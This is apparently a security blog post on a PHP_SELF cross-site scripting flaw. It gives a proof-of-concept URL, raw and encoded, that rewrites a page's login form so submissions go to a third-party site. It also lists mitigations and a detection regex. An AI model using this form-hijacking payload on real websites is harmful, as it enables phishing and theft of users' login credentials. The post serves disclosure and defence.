Yesterday, we came across the PHP/Apache XSS disclosure: blog.phpdoc.info
After playing around bit to develop the correct methodology for blocking this attack we came up with a novel idea to utilise the cross site script in a different manner. This technique is known, but has so far never been used through XSS (afaik).
If you are ‘web 2.0′ literate you might have used CSS and W3C standards, such as id="MyDivID". This is a great invention for CSS but can be used with XSS vulnerabilities and JavaScript to do nasty things.
One of the JavaScript features is to rewrite part of your webpage on the fly; tutorials usually show a money converter or similar. More famous usages include AJAX interfaces like GMail and Google Maps. As such, you can rewrite the webpage using the ID tag, which are generally used to apply a CSS style to a block, and is wildly used, eg:
<div id="menu">....</div>
JavaScript overwriting is fairly simple, eg:
document.getElementById('menu').innerHTML='my_new_content'
So, if we go back to our XSS exploit:
<div>
<form action="?php">
</form>
</div>
The only difference from blog.phpdoc.info is the addition of the div tag.
Combining these two techniques, this url will overwrite the current form and send the information to a third party website:
http://www.example.com/login.php/>”
<script>
document.getElementById(’formid’).innerHTML=
‘<form method=”get” action=”http://www.google.com/search/”>
<input type=”hidden” name=”domains”>
<input TYPE=”text” name=”q”><input type=”submit” name=”btnG” value=”Submit”>
</form>’
</script>
This forms the URL:
http://www.example.com/login.php/%22%3E%20%3Cscript%3E%20document.getElementById(’formid’).innerHTML=’%3Cform%20method=%22get%22%20action=%22http://www.google.com/search%22%3E%3Cinput%20type=%22hidden%22%20name=%22domains%22%3Cinput%20TYPE=%22text%22%20name=%22q%22%3E%3Cinput%20type=%22submit%22%20name=%22btnG%22%20value=%22Submit%22%3E%3C/form%3E’)%3C/script%3E
So, what are the different security implications?
Phishing on domain (think of a form POST which sends your details off to another site); this has implications for users connecting to real Internet Bank Portals (even hosted with SSL) disclosing login and password details to third parties.
How do I protect myself against it?
- Webmaster
- Use
htmlentities(), eg.htmlentities($_SERVER[PHP_SELF]); - Filter your web traffic with a proxy with suitable filters on URL’s
- Add or Reinforce mod_security policies
- Use
- Internet user
- Disable JavaScript
We’re using this regular expression to match this XSS exploit:
\.php\/*%3C*
\.php\/*%3E*